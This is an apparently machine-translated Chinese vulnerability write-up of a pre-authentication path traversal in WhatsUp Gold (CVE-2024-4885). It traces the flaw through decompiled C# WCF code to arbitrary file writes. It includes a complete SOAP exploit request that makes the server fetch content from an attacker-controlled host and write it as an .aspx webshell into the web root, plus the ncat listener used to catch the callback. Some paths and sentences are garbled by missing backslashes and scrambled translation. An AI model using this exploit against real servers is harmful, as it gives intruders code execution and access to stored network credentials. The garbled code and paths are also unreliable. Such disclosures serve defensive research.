WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

admin 2024年7月12日10:39:52评论63 views字数 26331阅读87分46秒阅读模式
 

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

结论

我发现针对最新版 Progress Whatsup Gold 存在未经身份验证的路径遍历,并将其转化为预授权 RCE,以下是我实现的方法

简介(又是 TLDR)

4 月 24 日,我报告了针对最新版 Progress Whatsup Gold 的路径遍历漏洞,该漏洞可导致未经身份验证的远程代码执行。7 月 3 日,ZDI 的工作人员发布了相关公告。

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

什么是 WhatsUp Gold

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

当时,供应商网站上对该产品的众多定义之一是:

WhatsUp Gold 提供对云端或本地应用程序、网络设备和服务器的状态和性能的完整可见性。

但我将其描述为合法的 C2,您可以在其中管理各种受害者(即最终用户),并将他们的凭据存储在此软件中,以便远程管理他们,例如:

  • 你可以存储 SMB 凭据,用于在任何你想要的最终用户计算机上运行 powershell 命令

  • 你可以存储 SSH 凭据来执行你想要的任何命令

  • 您可以存储思科交换机/路由器凭证以远程运行管理命令

  • 你可以,你明白了

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

所有这些的目的之一是能够从这些端点收集性能信息,另一个目的显然是远程管理它们,或者像我想说的那样远程执行命令,这里我们关心的是漏洞利用,所以这些信息足以知道一旦弹出这个软件,某人可能会得到什么东西,这可能是您添加到这个软件中的整个用户/机器/交换机/路由器网络。

高级.NET利用

今天的 PoC 赞助商是我,如果你很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的高级 .NET 漏洞利用培训,请注册并让我教你所有你需要的有关 .net 相关漏洞的知识,比如利用 WCF(Windows 通信基础)、复杂的反序列化、许多其他点击诱饵标题以及如何在 .net 目标上弹出 shellz

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

漏洞

这里的漏洞很简单,但让我们一步一步来,该NmApi.exe进程监听端口 9642 和 9643,这两个端口都用于公开 .NET WCF 服务,这两个 wcf 服务的配置已在文件中.config定义C:Program Files (x86)IpswitchWhatsUpNmAPI.exe.config

第 10 行声明了对 WCF 类型的支持,basicHttpBinding并标注了BasicHttpBinding_ICoreServices超时等其他配置

第 41 行定义了契约的端点IRecurringReportServices,并将绑定类型设置为,basicHttpBinding地址设置为。RecurringReport 第 58 行定义了两个可用的 WCF 服务的基地址,第 59 行定义了basicHttpBinding

 1:  <system.serviceModel> 2:    <bindings> 3:      <netTcpBinding> 4:        <binding name="NetTcpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="01:10:00" sendTimeout="00:01:00" transactionFlow="false" transferMode="Buffered" transactionProtocol="OleTransactions" hostNameComparisonMode="StrongWildcard" listenBacklog="10" maxBufferPoolSize="524288" maxBufferSize="99965536" maxConnections="100" maxReceivedMessageSize="99965536" portSharingEnabled="false"> 5:          <readerQuotas maxDepth="32" maxStringContentLength="99999999" maxArrayLength="999999999" maxBytesPerRead="4096" maxNameTableCharCount="16384"/> 6:          <reliableSession ordered="true" inactivityTimeout="00:10:00" enabled="false"/> 7:          <security mode="None"/> 8:        </binding> 9:      </netTcpBinding>10:      <basicHttpBinding>11:        <binding name="BasicHttpBinding_ICoreServices" closeTimeout="00:01:00" openTimeout="00:01:00" receiveTimeout="00:10:00" sendTimeout="00:01:00" allowCookies="false" bypassProxyOnLocal="false" hostNameComparisonMode="StrongWildcard" maxBufferSize="9965536" maxBufferPoolSize="524288" maxReceivedMessageSize="9965536" messageEncoding="Text" textEncoding="utf-8" transferMode="Buffered" useDefaultWebProxy="true">12:          <readerQuotas maxDepth="32" maxStringContentLength="999999" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384"/>13:        </binding>14:      </basicHttpBinding>15:    </bindings>16:    <behaviors>17:      <endpointBehaviors>18:        <behavior name="webHttpBehavior">19:          <webHttp/>20:        </behavior>21:      </endpointBehaviors>22:      <serviceBehaviors>23:        <behavior name="NmAPI.CoreServicesBehavior">24:          <serviceMetadata httpGetEnabled="false"/>25:          <serviceDebug includeExceptionDetailInFaults="true"/>26:        </behavior>27:        <behavior name="NmAPI.VirtualizationServicesBehavior">28:          <serviceMetadata httpGetEnabled="false"/>29:          <serviceDebug includeExceptionDetailInFaults="true"/>30:        </behavior>31:      </serviceBehaviors>32:    </behaviors>33:    <services>34:      <service behaviorConfiguration="NmAPI.CoreServicesBehavior" name="NmAPI.CoreServices">35:        <endpoint address="" binding="netTcpBinding" bindingConfiguration="NetTcpBinding_ICoreServices" contract="NmAPI.ICoreServices"/>36:        <endpoint address="CoreServices" binding="wsHttpBinding" contract="NmAPI.ICoreServices">37:          <identity>38:            <dns value="localhost"/>39:          </identity>40:        </endpoint>41:        <endpoint address="RecurringReport" binding="basicHttpBinding" contract="NmAPI.IRecurringReportServices">42:          <identity>43:            <dns value="localhost"/>44:          </identity>45:        </endpoint>46:        <endpoint address="DeviceClone" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmAPI.IDeviceCloneServices">47:          <identity>48:            <dns value="localhost"/>49:          </identity>50:        </endpoint>51:        <endpoint address="AlertCenter" binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_ICoreServices" contract="NmContracts.AlertCenter.Interfaces.IAlertCenterService">52:          <identity>53:            <dns value="localhost"/>54:          </identity>55:        </endpoint>56:        <!-- <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->57:        <host>58:          <baseAddresses>59:            <add baseAddress="http://localhost:9642/NmAPI"/>60:            <add baseAddress="net.tcp://localhost:9643"/>61:          </baseAddresses>62:        </host>63:      </service>64:      <service behaviorConfiguration="NmAPI.VirtualizationServicesBehavior" name="NmAPI.VirtualizationServices">65:        <endpoint address="" behaviorConfiguration="webHttpBehavior" binding="webHttpBinding" contract="NmAPI.IPolicyRetriever"/>66:        <endpoint address="NmAPI/VirtualizationServices/" binding="basicHttpBinding" contract="NmAPI.IVirtualizationServices"/>67:        <!-- <endpoint address="NmAPI/VirtualizationServices/VirtualizationServices/mex" binding="mexHttpBinding" contract="IMetadataExchange" />-->68:        <host>69:          <baseAddresses>70:            <add baseAddress="http://localhost:9676"/>71:          </baseAddresses>72:        </host>73:      </service>74:    </services>75:    <diagnostics>76:      <!-- messageLogging node controls options for the System.ServiceModel.MessageLogging source -->77:      <!-- MSDN documentation: http://msdn.microsoft.com/en-us/library/ms731308.aspx -->78:      <messageLogging logEntireMessage="false" logMalformedMessages="false" logMessagesAtServiceLevel="false" logMessagesAtTransportLevel="false" maxMessagesToLog="1000" maxSizeOfMessageToLog="262144" logKnownPii="false">79:        <filters>80:          <clear/>81:        </filters>82:      </messageLogging>83:    </diagnostics>84:  </system.serviceModel>

Eagle Eye 会注意到所述 WCF 端点的安全设置,实际上,它会注意到 HTTP 绑定中“缺少”该设置。Microsoft 描述了默认设置,<security>如下basicHttpBinding所示

“mode”属性是“可选”的,指定所使用的安全类型。默认值为 None。此属性的类型为 BasicHttpSecurityMode。-谨致,Microsoft

WhatsUp Gold Pre-Auth RCE GetFileWithoutZip 原语CVE-2024-4885

现在我们知道了可以在未经身份验证的情况下与此 WCF 进行通信,让我们了解路径遍历问题发生的位置
以下接口NmApi.exe!NmAPI.IRecurringReportServices定义了目标 Windows Communication Foundation 契约提供的可用方法
using System;using System.ServiceModel;using WUGDataAccess.Core.DataContracts;using WUGDataAccess.RecurringReports.DataContracts;
namespace NmAPI{  [ServiceContract]  public interface IRecurringReportServices  {    [OperationContract]    EntityRecurringReport AddRecurringReport(EntityRecurringReport rr);
    [OperationContract]    EntityRecurringReport GetRecurringReport(int recurringReportID);
    [OperationContract]    EntityRecurringReport[] GetAllRecurringReports();
    [OperationContract]    bool UpdateRecurringReport(EntityRecurringReport rr);
    [OperationContract]    bool EnableRecurringReports(int[] recurringReportIDs);
    [OperationContract]    bool DisableRecurringReports(int[] recurringReportIDs);
    [OperationContract]    void DeleteRecurringReports(int[] recurringReportIDs);
    [OperationContract]    int ExportToPDF(string url, int webUserID, EntityReportExportOptions exportOptions);
    [OperationContract]    int EmailPDF(string url, int webUserID, EntityReportExportOptions exportOptions, EntityEmailSettings emailSettings);
    [OperationContract]    int TestRecurringReport(EntityRecurringReport rr);
    [OperationContract]    EntityRecurringReportProgress GetProgress(int taskID);
    [OperationContract]    DateTime GetNextRunTime(EntityScheduleSettings schedule);  }}

让我们看一下该方法的实现,该方法需要一个需要命名为TestRecurringReport变量的类型的参数, 该变量被传递给内部任务调度程序,通过调用来执行此操作作为异步任务WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport  rr rr AddOneTimeTask

1:  public int TestRecurringReport(EntityRecurringReport rr)2:  {3:    return RecurringReportScheduleManager.Instance.AddOneTimeTask(rr);4:  }

以下AddOneTimeTask方法将期望该rr值,并且在行 (3) 获取任务锁之后,它将通过向其传递 3 个参数来实例化RecurringReportTask AKA 类的NmAPI.RecurringReportTask.RecurringReportTask实例,其中最后一个参数对我们很重要(rr 参数)在创建此类/任务的实例后,设置一些属性,例如行 (15) 的任务持续时间和一些其他设置,接下来,在第 (17) 行启动任务,然后将任务添加到任务管理器队列中(第 (18) 行)进行管理。

 1:  public int AddOneTimeTask(EntityRecurringReport rr) 2:  { 3:    RecurringReportScheduleManager.taskDictionaryLock.EnterWriteLock(); 4:    try 5:    { 6:      if (!this.failoverActive) 7:      { 8:        RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Failover has turn off scheduled reports because it is not the active system."); 9:        return -1;10:      }11:      RecurringReportScheduleManager.taskCounter++;12:      rr.Schedule = null;13:      RecurringReportTask recurringReportTask = new RecurringReportTask(RecurringReportScheduleManager.taskCounter, true, rr);14:      RecurringReportScheduleManager._trace.TraceEvent(TraceEventType.Verbose, 4, "Creating AddOneTimeTask task =" + recurringReportTask.Name + " taskCounter=" + RecurringReportScheduleManager.taskCounter.ToString());15:      recurringReportTask.DueTime = 1000;16:      recurringReportTask.Period = 1000;17:      recurringReportTask.Start();18:      RecurringReportScheduleManager.recurringReportTasks.Add(RecurringReportScheduleManager.taskCounter, recurringReportTask);19:    }20:    finally21:    {22:      RecurringReportScheduleManager.taskDictionaryLock.ExitWriteLock();23:    }24:    return RecurringReportScheduleManager.taskCounter;25:  }

让我们看一下RecurringReportTask实现,它相当简单,但有一个重要的注意事项,即分配this.rr。以下是RecurringReportTask我们之前实例化的实现,您可能想知道taskIDoneTimeTask来自哪里,这些是我们之前看到的传递的 3 个参数的一部分,它们对我们来说并不重要,这里重要的是recurringReport将用于设置this.rr当前报告任务属性的变量,然后执行一些其他方法,这些方法再次用于异步任务执行,现在,虽然这里不可见,但内部任务管理器间接调用的下一个方法是TaskCallback

1:  public RecurringReportTask(int taskID, bool oneTimeTask, EntityRecurringReport recurringReport)2:  {3:    this.TaskID = taskID;4:    this.OneTimeTask = oneTimeTask;5:    this.rr = recurringReport;6:    this.UpdateProgress(TaskState.Initializing, 0, "Initializing...");7:    this.UpdateProgress(null);8:  }

AKA是一个重写方法,任何继承的类都需要重写该TaskCallback方法,以定义通过内部任务管理器启动任务后调用的实际逻辑。请记住,此方法是之前设置属性的同一类的一部分。`NmAPI.RecurringReportTask.TaskCallback`  `WhatsUp.Core.ScheduledTask` `this.rr`

该方法乍一看可能很复杂,但实际上并不复杂,从方法名称中你可以猜出该方法的目的是生成报告,而为了做到这一点,这些语句只是在传递的对象中寻找rr攻击者可控制的报告生成设置,所以让我们来谈谈我们希望代码指向哪里

我们感兴趣的是调用该this.GenerateOutputFile方法,为了做到这一点,看第 (27) 行,我们只需要为 提供除“pdf”之外的其他内容this.rr.ExportOptions.ExportType,如果我们设法使this.rr.ExportOptions.ExportType == "pdf"条件为假,则else执行该子句,该子句首先检查第 (35) 行的文件系统上是否有足够的空间,然后在第 (37) 行this.GenerateOutputFile调用 并传递this.rr,让我们继续查看GenerateOutputFile实现

 1:  public override void TaskCallback(object obj) 2:  { 3:    if (!base.CanRun()) 4:    { 5:      return; 6:    } 7:    base.TaskCallback(obj); 8:    this._trace.TraceInformation("{0}:Initializing...", new object[] { this.TaskID }); 9:    if (this.rr.ExportOptions.ExportType == "")10:    {11:      this.rr.ExportOptions.ExportType = "pdf";12:    }13:    EntityReportExportOptions exportOptions = this.rr.ExportOptions;14:    string extension = RecurringReportTask.GetExtension(this.rr);15:    string text = null;16:    string text2 = null;17:    byte[] array = null;18:    DateTime dateTime = this.CalculateNextRunTime(this.rr);19:    while (DateTime.Now < dateTime)20:    {21:      if (this.Canceled)22:      {23:        return;24:      }25:      Thread.Sleep(TimeSpan.FromSeconds(1.0));26:    }27:    if (this.rr.ExportOptions.ExportType == "pdf")28:    {29:      string text3 = this.rr.Name + " " + DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");30:      text3 = text3 + "<br><br>" + this.rr.ExportOptions.PdfMessage;31:      this.SendEmailForPdf(text3, null);32:    }33:    else34:    {35:      if (new DriveInfo(Directory.GetDirectoryRoot(this.rr.ExportOptions.WebExportDirectory)).AvailableFreeSpace > 104857600L)36:      {37:        text = this.GenerateOutputFile(this.rr);38:      }39:      if (string.IsNullOrEmpty(text))40:      {41:        this.UpdateProgress(TaskState.Failed, 100, "Failed to generate output file!nCheck the available disk space!");42:      }43:      else44:      {45:        try46:        {47:          text2 = Path.GetFileName(text);48:          array = File.ReadAllBytes(text);49:        }50:        catch (Exception ex)51:        {52:          this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to read output file!n" + ex.Message);53:        }54:      }55:      if (array != null && this.rr.ExportOptions.ToMail)56:      {57:        this.UpdateProgress(TaskState.Running, 70, "Sending email to " + this.rr.EmailSettings.SendTo);58:        try59:        {60:          this.SendEmail(array, text2, extension, null, null);61:        }62:        catch (Exception ex2)63:        {64:          this.UpdateProgress(TaskState.Failed, 100, "Failed while attempting to send Email!n" + ex2.Message);65:        }66:      }67:    }68:    if (this.Progress.State != TaskState.Failed)69:    {70:      this.UpdateProgress(TaskState.Complete, 100, "Finished.");71:    }72:    if (this.OneTimeTask)73:    {74:      base.Stop();75:    }76:    else77:    {78:      base.TaskCallbackEnd(obj);79:    }80:    this.LastActiveTime = DateTime.Now;81:  }

GenerateOutputFile接受参数,首先它将根据内部的属性rr定义一个变量,您可能会认为这将是某种东西,但不要让变量名称欺骗您,继续在第 (10) 行使用属性的值设置另一个名为的变量,然后在第 (11)行通过调用检查变量是否为有效的 urlrr.URLhttp(s)://.....webExportDirectoryrr.ExportOptions.WebExportDirectoryurlRecurringReportTask.IsJson

现在我们感兴趣的是到达调用该GetFileWithoutZip方法的第 (24) 行,为了实现这一点,我们需要将rr.ExportOptions.ToMail属性设置为 true 以满足第 (16) 行的条件,然后将属性设置rr.ExportOptions.ZipEnabled为 false 以满足第 (18) 行的条件,这将到达第 (24) 行的else子句并调用该方法,GetFileWithoutZip并传递以下参数:

  • url包含 JSON blob

  • webExportDirectory它的值被分配自rr.ExportOptions.WebExportDirectory

  • 常数false

  • 最后,rr这也在我们的控制之下

让我们继续看看实现GetFileWithoutZip

 1:  private string GenerateOutputFile(EntityRecurringReport rr) 2:  { 3:    string url = rr.URL; 4:    string extension = RecurringReportTask.GetExtension(rr); 5:    this.UpdateProgress(TaskState.Running, 10, string.Format("Generating {0} for the URL: {1}", extension.ToUpper(), url)); 6:    string text2; 7:    try 8:    { 9:      Export exporterInstance = this.getExporterInstance(rr);10:      string webExportDirectory = rr.ExportOptions.WebExportDirectory;11:      if (!RecurringReportTask.IsJson(url))12:      {13:        throw new NotSupportedException("PDF export is not supported. Please convert to HTML export.");14:      }15:      string text;16:      if (rr.ExportOptions.ToMail)17:      {18:        if (rr.ExportOptions.ZipEnabled)19:        {20:          text = exporterInstance.GetFile(url, webExportDirectory, rr);21:        }22:        else23:        {24:          text = exporterInstance.GetFileWithoutZip(url, webExportDirectory, false, rr);25:        }26:      }27:      else if (rr.ExportOptions.ZipEnabled)28:      {29:        text = exporterInstance.SaveFile(url, webExportDirectory, rr);30:      }31:      else32:      {33:        text = exporterInstance.SaveFileWithoutZip(url, webExportDirectory, false, rr);34:      }35:      this.UpdateProgress(text);36:      this.UpdateProgress(TaskState.Running, 70, "File generated successfully.");37:      text2 = text;38:    }39:    catch (Exception ex)40:    {41:      string text3 = This.Where(false, "GenerateOutputFile", "C:\a\WUG\WUG\Project\Source\Source\NmAPI\RecurringReportTask.cs", 233);42:      string text4 = Log.ExceptionMessage(ex, "");43:      this.UpdateProgress(TaskState.Failed, 100, string.Concat(new string[]44:      {45:        "Failed while generating ",46:        extension.ToUpper(),47:        ": ",48:        text3,49:        " ",50:        text451:      }));52:      text2 = null;53:    }54:    return text2;55:  }

(开始查看下面的代码)首先,攻击者控制的路径(来自名为的参数)folder用于在第(3)行构造路径,返回值Path.Combine覆盖folder变量值,接下来在第(4)行清理文件夹,如果目录不存在(第 5 行),则创建该目录(第 7 行)

现在json变量(源自前一个函数url变量)用于调用一个非常重要的方法this.getreport,现在在我进入这个函数并解释它的机制之前,让我们先了解一下这个函数的返回值是如何使用的

返回值被放置在<string, string>第 (11) 行的一个字典中,然后经过一些健全性检查以处理第 (12,16) 行中的潜在异常和空值,如果一切正常,那么如果rr.ExportOptions.ExportType满足第 26 行的条件,那么在第 (24) 行创建的实例StringBuilder用于附加第 30 行和第 31 行的字典成员的值

因此,到目前为止,我们知道该this.getReport方法返回的是一个 <string, string> 字典,它会循环并将成员变成一个字符串,然后在第 33 行到第 40 行,调用字符串连接来为要保存的报告制作一个文件名,并且这个报告名称会在第 41 行与我们之前讨论过的变量结合使用,为要创建的报告创建绝对路径,并通过在第 (42) 行调用来folder将其内容设置为stringBuilder  File.WriteAllText

谜题已经开始显现,鹰眼会想,我们如何控制路径以及如何控制字典成员,我们能利用rr.Name属性吗?那么字典成员呢,我们需要研究吗getReport?第一个问题的答案是,progress 的开发人员试图变得聪明,他们rr.Name用一个调用包装了属性,this.ValidName而没有让你厌烦它的细节,它是为了防止路径遍历,通过确保文件名不包含无效字符,例如但. / : etc 他们忘记了这folder部分,那部分没有任何验证,所以如果给定的folder是类似的东西C:\controlled-path,那么生成的路径将是C:\controlled-path\Data\ExportedReports\SAFE_2024-00-00_00-00-00.aspx

等等,这个是.aspx从哪里来的?好问题,你看到text第 39 行使用的这个是从哪里来的,this.getReport现在让我们看看这个方法,如果我们可以影响它的返回值(它是一个字典)和传递的引用参数(这将out text是扩展),我们就可以实现一个写入什么位置的原语,从而产生 RCE

 1:  public string GetFileWithoutZip(string json, string folder, bool preview, EntityRecurringReport rr) 2:  { 3:    folder = Path.Combine(folder, "Data\ExportedReports\"); 4:    this.CleanupFiles(folder); 5:    if (!Directory.Exists(folder)) 6:    { 7:      Directory.CreateDirectory(folder); 8:    } 9:    string text;10:    string text2;11:    Dictionary<string, string> report = this.getReport(json, out text, out text2);12:    if (report.ContainsKey("exception"))13:    {14:      throw new Exception(report["exception"]);15:    }16:    if (!report.Any<KeyValuePair<string, string>>())17:    {18:      throw new Exception("No files were generated");19:    }20:    if (preview)21:    {22:      text = "html";23:    }24:    StringBuilder stringBuilder = new StringBuilder();25:    string text4;26:    if (rr.ExportOptions.ExportType != "xml")27:    {28:      foreach (KeyValuePair<string, string> keyValuePair in report)29:      {30:        stringBuilder.Append(keyValuePair.Value);31:        stringBuilder.Append(Environment.NewLine);32:      }33:      string text3 = string.Concat(new string[]34:      {35:        this.ValidName(rr.Name),36:        "_",37:        DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),38:        ".",39:        text40:      });41:      text4 = Path.Combine(folder, text3);42:      File.WriteAllText(text4, stringBuilder.ToString());43:    }44:    else45:    {46:      string text5 = report.Values.First<string>();47:      string text6 = "";48:      report.Remove(report.Keys.First<string>());49:      foreach (KeyValuePair<string, string> keyValuePair2 in report)50:      {51:        string value = keyValuePair2.Value;52:        XmlDocument xmlDocument = new XmlDocument();53:        xmlDocument.LoadXml(value);54:        string outerXml = xmlDocument.GetElementsByTagName("Table")[0].OuterXml;55:        text6 = text6 + Environment.NewLine + outerXml;56:      }57:      text5 = text5.Replace("</Table>", "</Table>" + Environment.NewLine + text6);58:      stringBuilder.Append(text5);59:      string text7 = string.Concat(new string[]60:      {61:        this.ValidName(rr.Name),62:        "_",63:        DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),64:        ".",65:        text66:      });67:      text4 = Path.Combine(folder, text7);68:      File.WriteAllText(text4, stringBuilder.ToString());69:    }70:    return text4;71:  }

WhatsUp.ExportUtilities.Export.getReport调用时,会传递 3 个参数,json变量包含提供的 json 配置设置,这在这里非常重要,另外两个是out string extension只是通过引用传递的两个变量。

第 (3) 行将反序列化 json 对象并将其存储在名为 的变量中,jobject该变量的类型为,然后执行JObject一个子句,该子句将首先实例化一个实例,并将该对象分配给名为`using` `new HttpClient()` `httpClient`

接下来,在第 (9) 行,代码将从baseUrl先前反序列化的 json 配置 blob 中提取密钥,并分配完全在我们的控制之下的对象BaseAddress的属性httpClient,现在基本 url 已设置,在第 (12) 行启动一个有趣的调用,WebUserConfig.Get它将使用传递userId来自我们控制jobject变量的成员并通过引用传递两个变量,这是一个很酷的函数,给定一个userId它将检索您喜欢的任何用户的用户名和密码 ^_^ 并且如前所述,userId完全在我们的控制之下,用户名放在empty变量中,密码放在变量中,empty2人们可能会说这是一种很棒的变量命名方式

chad:命名变量对于提高代码的可读性很重要
dev:是的,但是我不能被操

一旦 httpClient 准备就绪,就会在第 (14) 行GET发送一个请求,通过调用来验证远程服务器是否接受所提供的凭据GetStringAsync(text).GetAwaiter().GetResult(),之后在第 (15) 行将 uri 路径更改为,并通过提供方法和变量来api/core/render实例化`HttpRequestMessage` `PUT` `text` `api/core/render`

接下来,在第 (19) 行调用异步调用来检索结果,一旦请求完成,就会获取结果并将其放置在result2第 (21) 行的变量中

因为我们可以控制这个请求的去向,我们可以将它指向我们的恶意服务器并返回一个中毒的响应,然后使用结果填充第 (24) 行的字典并将其返回给调用者,同样在第 (23) 行,我们会注意到extension也使用jobject名为的成员填充了该字典renderType,它也在我们的控制之下,这回答了aspx之前的问题

最后,在第 (26) 行,将中毒信息dictionary返回给调用者

现在我们知道了,我们可以让该getReport函数向我们的恶意服务器发送 HTTP 请求,以检索中毒响应,该响应的内容将用作文件的内容,扩展名也可以通过jobject名为renderType的成员进行控制

注意:你可能已经注意到在第 (13) 行构造的路径将包含 whatsup gold 管理员帐户的用户名和密码,虽然它看起来很酷,但在这里会产生第三个影响(来自调用者的文件写入、此处的 SSRF、潜在的 cred 泄漏等)你最好忘掉 cred 泄漏(或者你应该忘掉它吗?)因为密码是使用密钥加密的,而该密钥对于产品的每个安装实例都是唯一的(嘘,也许还有很长的路要走 ^_^)
 1:  private Dictionary<string, string> getReport(string json, out string extension, out string title) 2:  { 3:    JObject jobject = JsonConvert.DeserializeObject<JObject>(json); 4:    Dictionary<string, string> dictionary; 5:    using (HttpClient httpClient = new HttpClient()) 6:    { 7:      httpClient.DefaultRequestHeaders.Clear(); 8:      httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); 9:      httpClient.BaseAddress = new Uri((string)jobject["baseUrl"]);10:      string empty = string.Empty;11:      string empty2 = string.Empty;12:      WebUserConfig.Get((int)jobject["userId"], ref empty, ref empty2);13:      string text = string.Format("Session/Login/?sUsername={0}&sPassword={1}", empty, empty2);14:      httpClient.GetStringAsync(text).GetAwaiter().GetResult();15:      text = "api/core/render";16:      HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Put, text);17:      StringContent stringContent = new StringContent(json, Encoding.UTF8, "application/json");18:      httpRequestMessage.Content = stringContent;19:      HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).GetAwaiter().GetResult();20:      result.EnsureSuccessStatusCode();21:      string result2 = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();22:      title = (string)jobject["title"];23:      extension = (string)jobject["renderType"];24:      dictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(result2);25:    }26:    return dictionary;27:  }

现在我们需要的是制作符合rr变量结构的正确类型的请求WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport,该类型的请求可以如下所示

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">   <s:Body>       <TestRecurringReport xmlns="http://tempuri.org/">           <rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts"               xmlns:i="http://www.w3.org/2001/XMLSchema-instance">               <a:AlternateHost i:nil="true" />               <a:Disabled>false</a:Disabled>               <a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">                   <b:Authentication>None</b:Authentication>                   <b:CredentialsId i:nil="true" />                   <b:DirectoryPath>C:PROGRA~2IpswitchWhatsUpDataScheduledReports</b:DirectoryPath>                   <b:Password />                   <b:Port>25</b:Port>                   <b:SMTPServer />                   <b:SendFrom>[email protected]</b:SendFrom>                   <b:SendTo i:nil="true" />                   <b:Subject>Emailing: Wireless Log</b:Subject>                   <b:TimeoutSec>30</b:TimeoutSec>                   <b:UseEncryptedConn>false</b:UseEncryptedConn>                   <b:Username />               </a:EmailSettings>               <a:ExportOptions>                   <a:AuthorName>WhatsUp Gold</a:AuthorName>                   <a:AutosizePDFPage>true</a:AutosizePDFPage>                   <a:AvoidImageBreak>false</a:AvoidImageBreak>                   <a:AvoidTextBreak>true</a:AvoidTextBreak>                   <a:BrowserPageHeight>0</a:BrowserPageHeight>                   <a:BrowserPageWidth>0</a:BrowserPageWidth>                   <a:ConversionDelay>3</a:ConversionDelay>                   <a:CustomPageHeight>0</a:CustomPageHeight>                   <a:CustomPageWidth>0</a:CustomPageWidth>                   <a:ExportAuthToken />                   <a:ExportType>html</a:ExportType>                   <a:FitHeight>false</a:FitHeight>                   <a:FitWidth>false</a:FitWidth>                   <a:InternalLinksEnabled>false</a:InternalLinksEnabled>                   <a:LiveURLsEnabled>false</a:LiveURLsEnabled>                   <a:NavigationTimeout>240</a:NavigationTimeout>                   <a:PageOrientation>Portrait</a:PageOrientation>                   <a:PageSize>Letter</a:PageSize>                   <a:PdfMessage>html</a:PdfMessage>                   <a:PreviewEnabled>false</a:PreviewEnabled>                   <a:Subject i:nil="true" />                   <a:TimeFormat>g:i:s a</a:TimeFormat>                   <a:Title i:nil="true" />                   <a:ToMail>true</a:ToMail>                   <a:WebExportDirectory>C:Program Files (x86)IpswitchWhatsUphtmlNmConsole</a:WebExportDirectory>                   <a:ZipEnabled>false</a:ZipEnabled>               </a:ExportOptions>               <a:IncludeURLInEmail>false</a:IncludeURLInEmail>               <a:Name>webshell</a:Name>               <a:NextRun i:nil="true" />               <a:RecurringReportID>-1</a:RecurringReportID>               <a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">                   <b:DailyDays>1</b:DailyDays>                   <b:DailyOptions>Interval</b:DailyOptions>                   <b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                       <c:boolean>true</c:boolean>                   </b:DaysOfTheWeek>                   <b:MonthlyDayMonths>1</b:MonthlyDayMonths>                   <b:MonthlyDayNumber>3</b:MonthlyDayNumber>                   <b:MonthlyOptions>DayOfMonth</b:MonthlyOptions>                   <b:MonthlyRecur>First</b:MonthlyRecur>                   <b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay>                   <b:MonthlyRecurMonths>1</b:MonthlyRecurMonths>                   <b:RecurringInterval>1</b:RecurringInterval>                   <b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals>                   <b:ScheduleType>TimeInterval</b:ScheduleType>                   <b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime>                   <b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate>                   <b:WeeklyWeeks>1</b:WeeklyWeeks>                   <b:YearlyDayOfMonth>3</b:YearlyDayOfMonth>                   <b:YearlyMonthRecur>First</b:YearlyMonthRecur>                   <b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay>                   <b:YearlyMonths>March</b:YearlyMonths>                   <b:YearlyOptions>DayOfYear</b:YearlyOptions>                   <b:YearlyRecurMonth>March</b:YearlyRecurMonth>               </a:Schedule>               <a:URL>                   {"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date                   Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[                   No records found                   ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://192.168.0.181:1337/","userId":1}               </a:URL>               <a:WebUserID>1</a:WebUserID>               <a:WebUserName>admin</a:WebUserName>           </rr>       </TestRecurringReport>   </s:Body></s:Envelope>

 

运行一个简单的监听器,你会收到以下请求

ncat -lvvnp 1337Ncat: Version 7.94 ( https://nmap.org/ncat )Ncat: Listening on [::]:1337Ncat: Listening on 0.0.0.0:1337

Ncat: Connection from 192.168.0.231:4605.

